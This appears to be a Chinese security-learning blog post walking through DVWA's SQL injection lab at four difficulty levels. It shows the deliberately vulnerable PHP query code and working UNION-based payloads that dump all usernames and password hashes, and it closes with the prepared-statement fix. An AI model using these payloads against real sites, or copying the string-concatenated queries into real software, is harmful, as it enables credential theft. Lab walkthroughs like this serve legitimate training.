DVWA靶场-SQL Injection SQL注入

往期博文:

DVWA靶场-Brute Force Source 暴力破解

DVWA靶场-Command Injection 命令注入

DVWA靶场-CSRF 跨站请求伪造

DVWA靶场-File Inclusion 文件包含

DVWA靶场-File Upload 文件上传

靶场环境搭建

https://github.com/ethicalhack3r/DVWA

[网络安全学习篇附]:DVWA 靶场搭建

目录

 

SQL Injection

Low SQL Injection

核心代码

Medium SQL Injection

核心代码

High SQL Injection

核心代码

Impossible SQL

核心代码


SQL Injection

Low SQL Injection

核心代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {

    $id = $_REQUEST[ 'id' ];

    // 查询数据库

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

}

?>

单引号闭合,没有进行任何过滤,直接联合查询走一波

?id=-1' union select 1,(select+group_concat(user,':',password)+from+users)--+&Submit=Submit#

 

Medium SQL Injection

核心代码

<?php 

$id = $_POST[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

?>

这里和low级别的区别在于有原来的get 方式提交变成了post 方式,且由原来的单引号闭合变为了直接拼接sql 语句

id=1 union select 1,(select+group_concat(user,password) from users)&Submit=Submit#

 

High SQL Injection

核心代码

<?php 

    $id = $_SESSION[ 'id' ];

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

?>

high 级别使用了session 获取id 值,闭合方式单引号闭合

直接在跳转的输入框内输入:

-1' union select 1,(select+group_concat(user,password) from users)#

 

 

Impossible SQL

核心代码

<?php 

// Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // 检查是否是数字或字母

    if(is_numeric( $id )) {

        // 预编译

        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        $data->execute();

        $row = $data->fetch(); 

} 

// Generate Anti-CSRF token

generateSessionToken(); 

?>

 

可以看到,Impossible级别 首先使用了Anti-CSRF token机制,提高了其安全性。其次采用了预编译语句和PDO技术,有效防御SQL注入。


https://www.sqlsec.com/2020/05/dvwa.html#toc-heading-31

https://www.freebuf.com/articles/web/119467.html

猜你喜欢

转载自blog.csdn.net/weixin_43252204/article/details/106583019